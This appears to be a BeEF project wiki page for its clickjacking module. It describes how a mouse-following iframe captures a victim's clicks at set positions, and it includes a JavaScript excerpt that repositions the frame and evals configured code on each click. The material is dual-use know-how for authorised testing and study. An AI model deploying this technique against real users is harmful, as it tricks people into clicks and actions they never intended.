-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: Clickjacking
Haoxi Tan edited this page Jan 9, 2020
·
3 revisions
-
Objective: perform basic multi-click clickjacking
-
Authors: Brigette Lundeen, Rich Lundeen
-
Browsers: Firefox, Chrome, IE
The iframe follows the mouse, so anywhere the user clicks on the page will be over x-pos,y-pos. The optional JS configuration values specify local Javascript to exectute when a user clicks, allowing the page can give visual feedback. The attack stops when y-pos is set to a non-numeric values (e.g. a dash).
For a demo, visit <beef root>/demos/clickjacking/clickjack_attack.html
with the default settings (based on browser they may have to be adjusted).
function iframeClicked(){
clicked++;
var jsfunc = '';
jsfunc = clicks[clicked-1].js;
innerPos.top = clicks[clicked].posTop;
innerPos.left = clicks[clicked].posLeft;
eval(unescape(jsfunc));
setTimeout(function(){
updateIframePosition();
}, <%= @clickDelay %>);
setTimeout(function(){
var btnSelector = "#" + elems.btn;
var btnObj = $j(btnSelector);
$j(btnObj).focus();
//check if there are any more actions to perform
try {
if (isNaN(parseInt(clicks[clicked].posTop))) {
removeAll(elems);
throw "No more clicks.";
}
} catch(e) {
cjLog(e);
}
}, 200);
}
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK